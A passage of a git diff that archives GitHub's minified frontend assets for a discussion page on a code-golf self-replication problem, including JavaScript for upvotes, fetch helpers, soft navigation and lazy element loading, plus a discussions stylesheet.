v(this.voteFormElement.url,u,b,!r);if(!p.ok){const w=await p.json();this.voteFormElement.displayUpVoteError(w.error),this.animateUpvoteUndo(r)}}}o(c,"Upvote"),(0,d.N7)(".js-upvote-button",i=>{if(!(i instanceof HTMLElement)||!(i.parentElement instanceof HTMLElement))return;const r=new c(new f(i.parentElement));i.addEventListener("click",async()=>{await r.click()})})},7739:(T,E,a)=>{a.d(E,{C:()=>d,x:()=>l});const l=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),d=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},29719:(T,E,a)=>{a.d(E,{D:()=>h,a:()=>v});var l=a(17463),d=a(12981);async function v(f,c,i){const r=new Request(c,i);r.headers.append("X-Requested-With","XMLHttpRequest");const u=await self.fetch(r);if(u.status<200||u.status>=300)throw new Error(`HTTP ${u.status}${u.statusText||""}`);return(0,l.t)((0,l.P)(f),u),(0,d.r)(f,await u.text())}o(v,"fetchSafeDocumentFragment");function h(f,c,i=1e3){return o(async function r(u){const b=new Request(f,c);b.headers.append("X-Requested-With","XMLHttpRequest");const p=await self.fetch(b);if(p.status<200||p.status>=300)throw new Error(`HTTP ${p.status}${p.statusText||""}`);if(p.status===200)return p;if(p.status===202)return await new Promise(w=>setTimeout(w,u)),r(u*1.5);throw new Error(`Unexpected ${p.status} response status from poll endpoint`)},"poll")(i)}o(h,"fetchPoll")},55741:(T,E,a)=>{a.d(E,{M:()=>v,T:()=>h});var l=a(14840),d=a(56238);function v(g,R=!1){return h(g)||b(g,R)||M(g)||W(g)}o(v,"hasInteractions");function h(g){for(const R of g.querySelectorAll("input, textarea"))if((R instanceof HTMLInputElement||R instanceof HTMLTextAreaElement)&&f(R))return!0;return!1}o(h,"hasDirtyFields");function f(g){if(g instanceof HTMLInputElement&&(g.type==="checkbox"||g.type==="radio")){if(g.checked!==g.defaultChecked)return!0}else if(g.value!==g.defaultValue)return!0;return!1}o(f,"formFieldValueChanged");let c;async function i(g,R){c=g;try{await R()}finally{c=null}}o(i,"withActiveElement");function r(g){return c instanceof Element?c:g&&g.ownerDocument&&g.ownerDocument.activeElement?g.ownerDocument.activeElement:null}o(r,"getActiveElement");let u;document.addEventListener("mouseup",function(g){u=g.target});function b(g,R){const x=r(g);return x===null||R&&x===g?!1:x===g&&(0,d.sw)(x)||g.contains(x)&&!w(x)?!0:u instanceof Element&&g.contains(u)&&!!u.closest("details[open] > summary")}o(b,"hasFocus");const p="a[href], button";function w(g){var R;if(g instanceof l.Z)return!0;const x=g instanceof HTMLAnchorElement||g instanceof HTMLButtonElement,$=(R=g.parentElement)==null?void 0:R.classList.contains("task-list-item");if(x&&$)return!0;if(!(u instanceof Element))return!1;const I=g.closest(p);if(!I)return!1;const H=u.closest(p);return I===H}o(w,"activeElementIsSafe");function M(g){return g.matches(":active:enabled")}o(M,"hasMousedown");function W(g){return!!(g.closest(".is-dirty")||g.querySelector(".is-dirty"))}o(W,"markedAsDirty")},17463:(T,E,a)=>{a.d(E,{P:()=>l,t:()=>v});function l(h){const f=[...h.querySelectorAll("meta[name=html-safe-nonce]")].map(c=>c.content);if(f.length<1)throw new Error("could not find html-safe-nonce on document");return f}o(l,"getDocumentHtmlSafeNonces");class d extends Error{constructor(f,c){super(`${f} for HTTP ${c.status}`);this.response=c}}o(d,"ResponseError");function v(h,f,c=!1){const i=f.headers.get("content-type")||"";if(!c&&!i.startsWith("text/html"))throw new d(`expected response with text/html, but was ${i}`,f);if(c&&!(i.startsWith("text/html")||i.startsWith("application/json")))throw new d(`expected response with text/html or application/json, but was ${i}`,f);const r=f.headers.get("x-html-safe");if(r){if(!h.includes(r))throw new d("response X-HTML-Safe nonce did not match",f)}else throw new d("missing X-HTML-Safe nonce",f)}o(v,"verifyResponseHtmlSafeNonce")},45075:(T,E,a)=>{a.d(E,{ZG:()=>f,q6:()=>i,w4:()=>c});var l=a(8439);let d=!1;const v=new l.Z;function h(r){const u=r.target;if(u instanceof HTMLElement&&u.nodeType!==Node.DOCUMENT_NODE)for(const b of v.matches(u))b.data.call(null,u)}o(h,"handleFocus");function f(r,u){d||(d=!0,document.addEventListener("focus",h,!0)),v.add(r,u),document.activeElement instanceof HTMLElement&&document.activeElement.matches(r)&&u(document.activeElement)}o(f,"onFocus");function c(r,u,b){function p(w){const M=w.currentTarget;!M||(M.removeEventListener(r,b),M.removeEventListener("blur",p))}o(p,"blurHandler"),f(u,function(w){w.addEventListener(r,b),w.addEventListener("blur",p)})}o(c,"onKey");function i(r,u){function b(p){const{currentTarget:w}=p;!w||(w.removeEventListener("input",u),w.removeEventListener("blur",b))}o(b,"blurHandler"),f(r,function(p){p.addEventListener("input",u),p.addEventListener("blur",b)})}o(i,"onInput")},12981:(T,E,a)=>{a.d(E,{r:()=>l});function l(d,v){const h=d.createElement("template");return h.innerHTML=v,d.importNode(h.content,!0)}o(l,"parseHTML")},97474:(T,E,a)=>{a.d(E,{Z:()=>l});function l(d){var v,h;const f=(h=(v=d.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:h.content;if(!f)return!1;const c=f.replace(/\.$/,"").split(".").slice(-2).join("."),i=d.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return c!==i}o(l,"detectProxySite")},84818:(T,E,a)=>{a.d(E,{Z:()=>d});class l{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}o(l,"NoOpStorage");function d(v,h={throwQuotaErrorsOnSet:!1},f=window){let c;try{c=f[v]}catch{c=new l}const{throwQuotaErrorsOnSet:i}=h;function r(p){try{return c.getItem(p)}catch{return null}}o(r,"getItem");function u(p,w){try{c.setItem(p,w)}catch(M){if(i&&M.message.toLowerCase().includes("quota"))throw M}}o(u,"setItem");function b(p){try{c.removeItem(p)}catch{}}return o(b,"removeItem"),{getItem:r,setItem:u,removeItem:b}}o(d,"safeStorage")},24216:(T,E,a)=>{a.d(E,{LS:()=>v,cl:()=>h,rV:()=>d});var l=a(84818);const{getItem:d,setItem:v,removeItem:h}=(0,l.Z)("sessionStorage")},29946:(T,E,a)=>{a.d(E,{Ak:()=>W,F2:()=>D,F6:()=>I,FP:()=>w,LD:()=>p,OE:()=>b,Po:()=>u,QE:()=>h,Rl:()=>Z,Xk:()=>x,Ys:()=>$,aN:()=>X,wP:()=>H});var l=a(24216),d=a(47930),v=a(45922);const h=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",c="soft-navigation-referrer",i="soft-navigation-marker",r="reload";function u(){return(0,l.rV)(i)==="1"}o(u,"inSoftNavigation");function b(){return Boolean(g())}o(b,"hasSoftNavFailure");function p(){performance.mark(i),(0,l.LS)(i,"1"),(0,l.LS)(c,(0,d.S)()||window.location.href)}o(p,"startSoftNav");function w(){(0,l.LS)(i,"0")}o(w,"endSoftNav");function M(){(0,l.LS)(i,"0"),(0,l.cl)(c),(0,l.cl)(f)}o(M,"clearSoftNav");function W(G){(0,l.LS)(f,G||r)}o(W,"setSoftNavFailReason");function g(){return(0,l.rV)(f)}o(g,"getSoftNavFailReason");let R=0;function x(){R+=1,document.dispatchEvent(new CustomEvent(h.SUCCESS,{detail:R}))}o(x,"softNavSucceeded");function $(){const G=g()||r;document.dispatchEvent(new CustomEvent(h.ERROR,{detail:G})),R=0,M(),(0,v.b)({turboFailureReason:G})}o($,"softNavFailed");function I(){document.dispatchEvent(new CustomEvent(h.INITIAL)),R=0,M()}o(I,"softNavInitial");function H(){return(0,l.rV)(c)||document.referrer}o(H,"getSoftNavReferrer");function Z(){return performance.getEntriesByName(i).length===0?0:performance.measure(i,i).duration}o(Z,"getDurationSinceLastSoftNav");function X(){document.dispatchEvent(new Event(h.START))}o(X,"beginProgressBar");function D(){document.dispatchEvent(new Event(h.END))}o(D,"completeProgressBar")},45922:(T,E,a)=>{a.d(E,{b:()=>h});var l=a(97474),d=a(7739);let v=[];function h(u,b=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=r(),v.push(u),b?i():c()}o(h,"sendStats");let f=null;async function c(){await d.C,f==null&&(f=window.requestIdleCallback(i))}o(c,"scheduleSendStats");function i(){var u,b;if(f=null,!v.length||(0,l.Z)(document))return;const p=(b=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:b.content;if(!p)return;const w=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(p,w)}catch{}v=[]}o(i,"flushStats");function r(){var u,b;return!!((b=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:b.content)}o(r,"isLoggedIn"),document.addEventListener("pagehide",i),document.addEventListener("visibilitychange",i)}},T=>{var E=o(l=>T(T.s=l),"__webpack_exec__");T.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b","app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],()=>E(67105));var a=T.O()}]);})(); + +//# sourceMappingURL=discussions-94188b076c4b.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css new file mode 100644 index 0000000..da4d0c4 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css @@ -0,0 +1,3 @@ +.discussions-spotlight-wrapper:first-of-type{padding-left:0 !important}.discussion-spotlights-sortable .sortable-drag{padding:0 !important;background-color:transparent}.discussion-spotlight-modal{width:560px;overflow-y:auto}.discussion-spotlight-pattern-container{mix-blend-mode:soft-light;background-position:20px 20px;background-size:35px;opacity:.5}.discussion-spotlight-pattern-zap{background-image:url("/static/images/icons/spotlight/zap-pattern.svg")}.discussion-spotlight-pattern-chevron-up{background-image:url("/static/images/icons/spotlight/chevron-up-pattern.svg")}.discussion-spotlight-pattern-dot-fill{background-image:url("/static/images/icons/spotlight/dot-fill-pattern.svg")}.discussion-spotlight-pattern-dot{background-image:url("/static/images/icons/spotlight/dot-pattern.svg")}.discussion-spotlight-pattern-heart-fill{background-image:url("/static/images/icons/spotlight/heart-fill-pattern.svg")}.discussion-spotlight-pattern-plus{background-image:url("/static/images/icons/spotlight/plus-pattern.svg")}.discussion-spotlight{height:188px;flex:1 1 auto;overflow:hidden}.discussion-spotlight-preview{height:160px}.discussion-spotlight-gradient{width:35px;height:35px}.discussion-spotlight-gradient .discussion-spotlight-gradient-selected-indicator{display:none}.discussion-spotlight-gradient[aria-selected=true]{box-shadow:inset 0 1px 2px rgba(27,31,35,.075),0 0 0 .2em rgba(3,102,214,.3)}.discussion-spotlight-gradient[aria-selected=true] .discussion-spotlight-gradient-selected-indicator{display:inline-block}.discussion-spotlight-emoji{top:calc(35% - 35px);left:calc(50% - 48px);width:96px;height:96px;font-size:96px;text-shadow:0 3px 14px rgba(0,0,0,.3)}.discussion-spotlight-details{pointer-events:none}.discussion-spotlight-details>*{pointer-events:auto}.discussion-spotlight-handle{cursor:pointer;background:var(--color-primer-canvas-backdrop)}.discussion-feed-body pre{padding:16px;overflow-x:auto;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body code,.discussion-feed-body tt{padding:.2em .4em;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body ul{padding-left:32px;margin-bottom:16px}.discussion-feed-body ol{padding-left:32px;margin-bottom:16px;list-style-type:number}.discussion-feed-body h1,.discussion-feed-body h2,.discussion-feed-body h3{font-size:16px}.discussion-feed-body table{display:none}.timeline-comment.timeline-chosen-answer{border:2px solid var(--color-success-emphasis)}.sidebar-emoji-box{width:auto !important;height:auto !important}.discussions-timeline-scroll-target{width:100%;padding-top:60px;margin-top:-60px;pointer-events:none !important}.discussions-timeline-scroll-target>*{pointer-events:auto}.discussions-emoji-box{font-size:14px !important;line-height:14px !important;vertical-align:0 !important;cursor:default}@media(min-width: 768px){.discussions-emoji-box{font-size:16px !important;line-height:16px !important;vertical-align:0 !important}}.discussion-timeline-item::before{display:none}.discussion-primer-next-nested-comment-timeline-item::before{left:30px}.discussion-nested-comment-timeline-item::before{left:25px}@media(min-width: 544px){.discussion-nested-comment-timeline-item::before{left:30px}}.discussion-nested-comment-timeline-item:first-child::before{top:16px}.discussion-nested-comment-group{margin-left:32px}.discussion-nested-comment-paging-form::before{width:0;background-color:transparent}.discussion-nested-comment-paging-badge .octicon{fill:var(--color-border-muted);transform:rotate(90deg)}.discussion-nested-comment-paging-form-body{margin-left:24px}:target .discussion-nested-comment-group .timeline-comment{box-shadow:none !important}.discussion-nested-comment-timeline-item:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.inline-comment-form-container.open .discussion-nested-comment-inline-form .previewable-comment-form{display:block}.discussion-footer-answered-badge{padding:0 8px 0 4px !important;line-height:inherit}.discussion-footer-answer-icon{width:26px;height:26px}.discussion-footer-answer-button{padding:0 8px !important;line-height:inherit}.discussion-event-wrapper:last-child .discussion-event-timeline-item{padding-bottom:0 !important}.discussion-event-wrapper:last-child .discussion-event-timeline-item::before{display:none}.discussion-event-timeline-item::before{left:-6px}.is-comment-editing .discussion-comment .previewable-comment-form{display:none}.is-comment-editing .discussion-comment .timeline-comment-actions,.is-comment-editing .discussion-comment .edit-comment-hide{display:block}.discussion-comment .previewable-edit.is-comment-editing .timeline-comment-header{display:flex !important}.errored .discussion-category-picker{border-color:var(--color-danger-emphasis)}.discussion-annoucement-badge{background-color:var(--color-neutral-muted)}.discussion-Link--secondary:visited{color:var(--color-fg-subtle) !important}.disabled-category-form{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.bg-discussions-row-emoji-box{width:42px !important;height:42px !important;background:var(--color-bg-discussions-row-emoji-box)}.bg-discussions-row-emoji-box-small{width:30px !important;height:30px !important;background:var(--color-bg-discussions-row-emoji-box)}:target .nested-discussion-timeline-comment{box-shadow:none !important}.nested-discussion-timeline-comment .markdown-body pre{background-color:var(--color-neutral-muted)}.comment-body div[type=discussions-op-text]{padding:8px;border:1px solid var(--color-border-muted) !important;border-radius:6px}.comment-body div[type=discussions-op-text] p{margin-bottom:0}.discussion-vote-form .slidey-boi{transition:.4s ease-in-out;transform:perspective(1px) translateY(0%)}.discussion-vote-form.is-upvoted .slidey-boi{transform:perspective(1px) translateY(-50%)} + +/*# sourceMappingURL=discussions-2d691bda776c.css.map*/ \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js new file mode 100644 index 0000000..1c7c278 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var u=Object.defineProperty;var m=(l,a)=>u(l,"name",{value:a,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["element-registry"],{92333:(l,a,s)=>{const d=new Map,v=new Promise(n=>{document.readyState==="interactive"||document.readyState==="complete"?n():document.addEventListener("DOMContentLoaded",()=>n(),{once:!0})}),j=new Promise(n=>{const o=m(()=>{n(),document.removeEventListener("click",o),document.removeEventListener("touchstart",o),document.removeEventListener("keydown",o)},"handler");document.addEventListener("click",o),document.addEventListener("touchstart",o,{passive:!0}),document.addEventListener("keydown",o)}),i={ready:v,firstInteraction:j},h=new WeakMap;function g(n=document.body){cancelAnimationFrame(h.get(n)||0),h.set(n,requestAnimationFrame(()=>{for(const o of d.keys()){const e=n.matches(o)?n:n.querySelector(o);if(customElements.get(o)||e){const c=(e==null?void 0:e.getAttribute("data-load-on"))||"ready",p=c in i?i[c]:i.ready;for(const x of d.get(o)||[])p.then(x);d.delete(o),h.delete(n)}}}))}m(g,"scan"),new MutationObserver(n=>{if(!!d.size)for(const o of n)for(const e of o.addedNodes)e instanceof Element&&g(e)}).observe(document,{subtree:!0,childList:!0});let f=!0;function t(n,o){d.has(n)||d.set(n,[]),d.get(n).push(o),f&&g(document.body),f=!1}m(t,"whenSeen"),t("animated-image",()=>s.e("app_components_accessibility_animated-image-element_ts").then(s.bind(s,1711))),t("launch-code",()=>s.e("app_components_account_verifications_launch-code-element_ts").then(s.bind(s,33954))),t("metric-selection",()=>s.e("app_components_advisories_metric-selection-element_ts").then(s.bind(s,63887))),t("severity-calculator",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_components_advisories_severity-calculator-element_ts")]).then(s.bind(s,606))),t("create-branch",()=>Promise.all([s.e("vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"),s.e("app_components_branch_create-branch-element_ts")]).then(s.bind(s,78928))),t("alert-dismissal-details",()=>s.e("app_components_code_scanning_alert-dismissal-details-element_ts").then(s.bind(s,32445))),t("sku-list",()=>s.e("app_components_codespaces_advanced_options_sku-list-element_ts").then(s.bind(s,14067))),t("create-button",()=>s.e("app_components_codespaces_create-button-element_ts").then(s.bind(s,1834))),t("command-palette-page",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-element_ts")]).then(s.bind(s,33094))),t("command-palette-page-stack",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-stack-element_ts")]).then(s.bind(s,9222))),t("deferred-diff-lines",()=>s.e("app_components_diffs_deferred-diff-lines-element_ts").then(s.bind(s,51598))),t("readme-toc",()=>s.e("app_components_files_readme-toc-element_ts").then(s.bind(s,11423))),t("delayed-loading",()=>s.e("app_components_github_delayed-loading-element_ts").then(s.bind(s,58525))),t("feature-callout",()=>s.e("app_components_github_feature-callout-element_ts").then(s.bind(s,89434))),t("reopen-button",()=>s.e("app_components_issues_reopen-button-element_ts").then(s.bind(s,67195))),t("math-renderer",()=>Promise.all([s.e("vendors-node_modules_lit-html_lit-html_js"),s.e("app_components_mathjax_math-renderer-element_ts")]).then(s.bind(s,24561))),t("max-value",()=>s.e("app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts").then(s.bind(s,43893))),t("codespaces-policy-form",()=>s.e("app_components_organizations_settings_codespaces-policy-form-element_ts").then(s.bind(s,97718))),t("insights-form",()=>s.e("app_components_organizations_settings_features_insights-form-element_ts").then(s.bind(s,17764))),t("action-list",()=>Promise.all([s.e("vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"),s.e("app_components_primer_action_list_action-list-element_ts")]).then(s.bind(s,51126))),t("action-menu",()=>s.e("app_components_primer_action_menu_action-menu-element_ts").then(s.bind(s,59086))),t("toggle-switch",()=>s.e("app_components_primer_experimental_toggle-switch-element_ts").then(s.bind(s,15004))),t("iterate-focusable-elements.ts",()=>s.e("app_components_primer_modal_dialog_iterate-focusable-elements_ts").then(s.bind(s,23349))),t("modal-dialog",()=>s.e("app_components_primer_modal_dialog_modal-dialog-element_ts").then(s.bind(s,27257))),t("file-filter",()=>s.e("app_components_pull_requests_file_tree_file-filter-element_ts").then(s.bind(s,44846))),t("file-tree",()=>s.e("app_components_pull_requests_file_tree_file-tree-element_ts").then(s.bind(s,62978))),t("file-tree-toggle",()=>s.e("app_components_pull_requests_file_tree_file-tree-toggle-element_ts").then(s.bind(s,93559))),t("dependabot-alert-row",()=>s.e("app_components_repos_alerts_dependabot-alert-row-element_ts").then(s.bind(s,76257))),t("dependabot-alert-table-header",()=>s.e("app_components_repos_alerts_dependabot-alert-table-header-element_ts").then(s.bind(s,47691))),t("memex-project-picker",()=>s.e("app_components_repositories_memex_memex-project-picker-element_ts").then(s.bind(s,88018))),t("pin-organization-repo",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_components_repositories_pin-organization-repo-element_ts")]).then(s.bind(s,77028))),t("common.ts",()=>s.e("app_components_search_parsing_common_ts").then(s.bind(s,97597))),t("parsing.ts",()=>Promise.all([s.e("vendors-node_modules_github_blackbird-parser_dist_blackbird_js"),s.e("app_components_search_parsing_parsing_ts-_b3651")]).then(s.bind(s,23209))),t("search-input",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("app_components_search_search-input-element_ts")]).then(s.bind(s,17804))),t("blackbird.ts",()=>s.e("app_components_search_suggestions_blackbird_ts").then(s.bind(s,52048))),t("custom-scopes.ts",()=>s.e("app_components_search_suggestions_custom-scopes_ts").then(s.bind(s,77717))),t("default.ts",()=>s.e("app_components_search_suggestions_default_ts").then(s.bind(s,63951))),t("fixed-qualifiers.ts",()=>s.e("app_components_search_suggestions_fixed-qualifiers_ts").then(s.bind(s,82721))),t("history.ts",()=>s.e("app_components_search_suggestions_history_ts").then(s.bind(s,86909))),t("languages.ts",()=>s.e("app_components_search_suggestions_languages_ts").then(s.bind(s,47512))),t("repos.ts",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("node_modules_delegated-events_dist_index_js")]).then(s.bind(s,4022))),t("suggestions.ts",()=>s.e("app_components_search_suggestions_suggestions_ts").then(s.bind(s,47378))),t("types.ts",()=>s.e("app_components_search_suggestions_types_ts").then(s.bind(s,76286))),t("project-picker",()=>Promise.all([s.e("vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_components_sidebar_project-picker-element_ts")]).then(s.bind(s,88175))),t("slash-command-toolbar-button",()=>s.e("app_components_slash_commands_slash-command-toolbar-button-element_ts").then(s.bind(s,83326))),t("monthly-spend-graph",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts")]).then(s.bind(s,14676))),t("turbo-staffbar",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-element_ts").then(s.bind(s,2079))),t("turbo-staffbar-preview",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-preview-element_ts").then(s.bind(s,23566))),t("themed-picture",()=>s.e("app_components_themed_pictures_themed-picture-element_ts").then(s.bind(s,73422))),t("tracking-block-api.ts",()=>s.e("app_components_tracking_blocks_tracking-block-api_ts").then(s.bind(s,28825))),t("tracking-block",()=>Promise.all([s.e("app_components_tracking_blocks_tracking-block-api_ts"),s.e("app_components_tracking_blocks_tracking-block-element_ts")]).then(s.bind(s,38373))),t("tracking-block-omnibar",()=>s.e("app_components_tracking_blocks_tracking-block-omnibar-element_ts").then(s.bind(s,76829))),t("profile-pins",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_profile_profile-pins-element_ts")]).then(s.bind(s,9473))),t("emoji-picker",()=>s.e("app_assets_modules_github_emoji-picker-element_ts").then(s.bind(s,62993))),t("edit-hook-secret",()=>s.e("app_assets_modules_github_behaviors_edit-hook-secret-element_ts").then(s.bind(s,1665))),t("insights-query",()=>s.e("app_assets_modules_github_insights_insights-query_ts").then(s.bind(s,31417))),t("remote-clipboard-copy",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_assets_modules_github_behaviors_remote-clipboard-copy_ts")]).then(s.bind(s,53287))),t("series-table",()=>s.e("app_assets_modules_github_insights_series-table_ts").then(s.bind(s,82100))),t("line-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_line-chart_ts")]).then(s.bind(s,75689))),t("bar-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_bar-chart_ts")]).then(s.bind(s,83515))),t("column-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_column-chart_ts")]).then(s.bind(s,86564))),t("stacked-area-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_stacked-area-chart_ts")]).then(s.bind(s,96514))),t("presence-avatars",()=>s.e("app_assets_modules_github_presence_presence-avatars_ts").then(s.bind(s,33096))),t("pulse-authors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_pulse-authors-graph-element_ts")]).then(s.bind(s,97724))),t("stacks-input-config-view",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_stacks_stacks-input-config-view_ts")]).then(s.bind(s,97818))),t("community-contributions-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_community-contributions_ts")]).then(s.bind(s,14008))),t("discussion-page-views-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussion-page-views_ts")]).then(s.bind(s,16427))),t("discussions-daily-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-daily-contributors_ts")]).then(s.bind(s,69142))),t("discussions-new-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-new-contributors_ts")]).then(s.bind(s,72895))),t("code-frequency-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_graphs_code-frequency-graph-element_ts")]).then(s.bind(s,29728))),t("contributors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158"),s.e("app_assets_modules_github_graphs_contributors-graph-element_ts")]).then(s.bind(s,56194))),t("org-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834"),s.e("app_assets_modules_github_graphs_org-insights-graph-element_ts")]).then(s.bind(s,79429))),t("traffic-clones-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_j